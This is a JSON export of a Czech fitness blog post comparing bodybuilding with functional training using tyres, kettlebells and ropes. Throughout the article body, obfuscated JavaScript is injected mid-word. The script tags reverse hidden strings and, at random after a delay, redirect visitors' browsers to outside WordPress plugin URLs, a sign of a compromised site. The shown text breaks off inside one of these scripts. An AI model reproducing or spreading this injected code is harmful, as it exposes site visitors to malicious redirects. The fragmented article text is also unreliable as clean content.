{"id":593,"date":"2022-02-14T17:20:10","date_gmt":"2022-02-14T17:20:10","guid":{"rendered":"http:\/\/www.svetkulturistiky.cz\/?p=593"},"modified":"2022-02-14T17:20:10","modified_gmt":"2022-02-14T17:20:10","slug":"kulturisticky-vs-funkcni-trenink","status":"publish","type":"post","link":"https:\/\/svetkulturistiky.cz\/index.php\/2022\/02\/14\/kulturisticky-vs-funkcni-trenink\/","title":{"rendered":"KULTURISTICK\u00dd vs. FUNK\u010cN\u00cd TR\u00c9NINK"},"content":{"rendered":"<h3><strong>Budujte s\u00edlu netradi\u010dn\u00ed kombinac\u00ed tr\u00e9ninkov\u00fdch styl\u016f.<\/strong><\/h3>\n<p>Nekonven\u010dn\u00ed tr\u00e9ninkov\u00e9 p\u0159\u00edstupy pat\u0159\u00ed k\u00a0obl\u00edben\u00fdm me<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tod\u00e1m zejm\u00e9na v\u00a0MMA, ale i \u0159ada dal\u0161\u00edch spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovc\u016f v\u00a0posledn\u00ed dob\u011b vyhled\u00e1v\u00e1 m\u00e9n\u011b obvykl\u00e9 cvi\u010debn\u00ed postupy, kter\u00e9 jim maj\u00ed poslou\u017eit ke zpest\u0159en\u00ed tr\u00e9ninku a sou\u010dasn\u011b t\u011blo vyburcovat k\u00a0n\u00e1r\u016fstu v\u00fdkonnosti.<\/p>\n<p>Nemus\u00edte p\u0159i<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom objevovat Ameriku, \u010das<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to posta\u010d\u00ed netradi\u010dn\u00ed kombinace a vyu\u017eit\u00ed tr\u00e9ninkov\u00fdch pom\u016fcek, s\u00a0nimi\u017e jste doposud nem\u011bli tu \u010dest pracovat. V\u011bt\u0161ina lid\u00ed ve fitku vyu\u017e\u00edv\u00e1 k\u00a0budov\u00e1n\u00ed s\u00edly klasick\u00fd tr\u00e9nink s\u00a0\u010dinkami. Vych\u00e1z\u00ed z\u00a0osv\u011bd\u010den\u00e9 praktiky, \u017ee d\u00edky p\u0159et\u00ed\u017een\u00ed sval\u016f pomoc\u00ed velk\u00fdch z\u00e1t\u011b\u017e\u00ed dos\u00e1hnou kvalitn\u00edch v\u00fdsledk\u016f. A maj\u00ed samoz\u0159ejm\u011b pravdu. Nicm\u00e9n\u011b se d\u0159\u00edve nebo pozd\u011bji potkaj\u00ed se stagnac\u00ed a budou si l\u00e1mat hlavu, jak konven\u010dn\u00ed tr\u00e9nink v\u00edce \u010di m\u00e9n\u011b o\u017eivit. A pak p\u0159ijdou ke slovu me<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tody tr\u00e9ninku funk\u010dn\u00edho. Konec konc\u016f i c\u00edlem funk\u010dn\u00edho tr\u00e9ninku je zv\u00fd\u0161en\u00ed s\u00edly, by\u0165 se charakter <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to cvi\u010den\u00ed od klasick\u00e9ho kulturistick\u00e9ho cvi\u010debn\u00edho pl\u00e1nu z\u00e1sadn\u011b odli\u0161uje. Nikde ale nen\u00ed ps\u00e1no, \u017ee by kulturista nemohl vyzr\u00e1t nad stagnac\u00ed, p\u0159\u00edpadn\u011b prost\u011b svoje t\u011blo popohnat k\u00a0lep\u0161\u00edm v\u00fdsledk\u016fm, kdy\u017e vyzkou\u0161\u00ed specifick\u00e9 techniky funk\u010dn\u00edho tr\u00e9ninku. Minim\u00e1ln\u011b pro n\u011bj bude p\u0159\u00ednosem zlep\u0161en\u00ed stability svalstva trupu, nav\u00fd\u0161en\u00ed s\u00edly \u00fachopu \u010di po psychick\u00e9 str\u00e1nce nezpochybniteln\u00e9 o\u017eiven\u00ed tr\u00e9ninku. Jak\u00e9 pom\u016fcky tedy m\u016f\u017eete do sv\u00e9ho cvi\u010debn\u00edho programu za\u0159adit?<\/p>\n<p>&nbsp;<\/p>\n<h3><strong>PNEUMATIKY <\/strong><\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-596 alignright\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/02\/pneumatika-WEB-300x200.jpg\" alt=\"\" width=\"336\" height=\"224\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/02\/pneumatika-WEB-300x200.jpg 300w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/02\/pneumatika-WEB-768x512.jpg 768w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/02\/pneumatika-WEB.jpg 1024w\" sizes=\"auto, (max-width: 336px) 100vw, 336px\" \/>P\u0159edstavuj\u00ed velmi efektivn\u00ed zp\u016fsob, jak budovat s\u00edlu i vytrvalost. Nejr\u016fzn\u011bj\u0161\u00ed p\u0159evracen\u00ed pneumatik pat\u0159\u00ed ve funk\u010dn\u00edm tr\u00e9ninku ke st\u00e1lic\u00edm. \u0158ada tren\u00e9r\u016f ov\u0161em varuje p\u0159ed zna\u010dnou z\u00e1t\u011b\u017e\u00ed kladenou p\u0159i takov\u00e9m cvi\u010den\u00ed na z\u00e1da. Samoz\u0159ejm\u011b nejde o cvik, kter\u00fd by bylo vhodn\u00e9 doporu\u010dit n\u011bkomu, kdo trp\u00ed na bolesti bedern\u00ed p\u00e1te\u0159e. Ale takov\u00fd spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovec bude omezen\u00fd i ve v\u00fdb\u011bru cel\u00e9 \u0159ady klasick\u00fdch kulturistick\u00fdch cvik\u016f. Kdo m\u00e1 s\u00edlu a z\u00e1da v\u00a0po\u0159\u00e1dku, pro <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho je cvi\u010den\u00ed s\u00a0pneumatikou efektivn\u00ed a bezpe\u010dn\u00e9, pokud dodr\u017e\u00ed z\u00e1kladn\u00ed pravidla \u2013 p\u0159edev\u0161\u00edm udr\u017e\u00ed z\u00e1da ve spr\u00e1vn\u00e9 (neutr\u00e1ln\u00ed) poloze.<\/p>\n<p>Jestli cvi\u010d\u00edte s\u00a0partnerem, m\u016f\u017eete si pneumatiku st\u0159\u00eddat \u2013 jeden ji p\u0159evr\u00e1t\u00ed sm\u011brem ke druh\u00e9mu, ten mu ji \u201evr\u00e1t\u00ed\u201c atd. Pak u\u017e jen z\u00e1le\u017e\u00ed na dohod\u011b, zda budete cvi\u010dit po n\u011bjakou p\u0159edem stanovenou dobu (30-60 sekund) nebo bude va\u0161\u00edm c\u00edlem prov\u00e9st dan\u00fd po\u010det opakov\u00e1n\u00ed. \u010c\u00edm del\u0161\u00ed doba cvi\u010den\u00ed, t\u00edm v\u00edce budujete vytrvalost. Zpo\u010d\u00e1tku byste si nem\u011bli kl\u00e1st p\u0159ehnan\u00e9 c\u00edle, u\u017e samotn\u00e1 technika vy\u017eaduje n\u00e1cvik a \u010das.<\/p>\n<p>&nbsp;<\/p>\n<h3><strong>KETTLEBELL \u010cINKY <\/strong><\/h3>\n<p>Dnes u\u017e je najdete prakticky v\u00a0ka\u017ed\u00e9m fitku. Tyhle \u010dinky za\u017e\u00edvaj\u00ed obrovsk\u00fd comeback a nach\u00e1z\u00ed vyu\u017eit\u00ed v\u00a0mnoha cvic\u00edch. Tvarov\u011b se od klasick\u00e9 \u010dinky li\u0161\u00ed napros<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to z\u00e1sadn\u011b a stejn\u011b tak sk\u00fdtaj\u00ed mo\u017enost p\u0159i cvi\u010den\u00ed zat\u00ed\u017eit danou svalovou partii m\u00e9n\u011b obvykl\u00fdm zp\u016fsobem. Zkuste je vyu\u017e\u00edt p\u0159i proveden\u00ed nejr\u016fzn\u011bj\u0161\u00edch tlak\u016f, mrtv\u00fdch tah\u016f, d\u0159ep\u016f atd. P\u0159i n\u011bkter\u00fdch cvic\u00edch (zdvihy, v\u00fdpady atd.) m\u016f\u017eete dr\u017eet v\u00a0ka\u017ed\u00e9 ruce jednu kettlebell \u010dinku, jindy (nap\u0159. u \u0161vihu) uchop\u00edte ob\u011bma rukama madlo jedn\u00e9 \u010dinky.\u00a0 Nejr\u016fzn\u011bj\u0161\u00ed \u0161vihy s\u00a0kettlebell \u010dinkami jsou dnes velmi obl\u00edben\u00e9, buduj\u00ed exploz\u00edvn\u00ed s\u00edlu a pro kulturistu doposud zvykl\u00e9ho na napros<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to jin\u00fd syst\u00e9m cvi\u010den\u00ed p\u0159edstavuj\u00ed zcela z\u00e1sadn\u00ed zm\u011bnu. O <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to opatrn\u011bj\u0161\u00ed byste m\u011bli b\u00fdt p\u0159i osvojen\u00ed spr\u00e1vn\u00e9 formy proveden\u00ed jednotliv\u00fdch cvik\u016f a zpo\u010d\u00e1tku volit sp\u00ed\u0161e ni\u017e\u0161\u00ed z\u00e1t\u011b\u017e.<\/p>\n<p>&nbsp;<\/p>\n<h3><strong>LANA <\/strong><\/h3>\n<p>I popularita cvi\u010den\u00ed se siln\u00fdmi, t\u011b\u017ek\u00fdmi lany v\u00a0posledn\u00edch letech nar\u016fst\u00e1. Kondi\u010dn\u00ed tren\u00e9\u0159i cviky <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to typu doporu\u010duj\u00ed zejm\u00e9na pro aktivaci stabiliza\u010dn\u00edch sval\u016f, budov\u00e1n\u00ed s\u00edly a celkov\u011b vylad\u011bn\u00ed formy. A nikde nen\u00ed ps\u00e1no, \u017ee si mus\u00edte postavit cel\u00fd cvi\u010debn\u00ed pl\u00e1n jen na vyu\u017eit\u00ed lan. Berte je jako zaj\u00edmav\u00fd dopln\u011bk. Sami nejl\u00e9pe uvid\u00edte, jak n\u00e1ro\u010dn\u00e9 takov\u00e9 cvi\u010den\u00ed je. Mechanika pohybu je p\u0159i cvi\u010den\u00ed s\u00a0lany nezvykl\u00e1, z\u00e1t\u011b\u017e, kterou ovl\u00e1d\u00e1te, se chov\u00e1 napros<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return 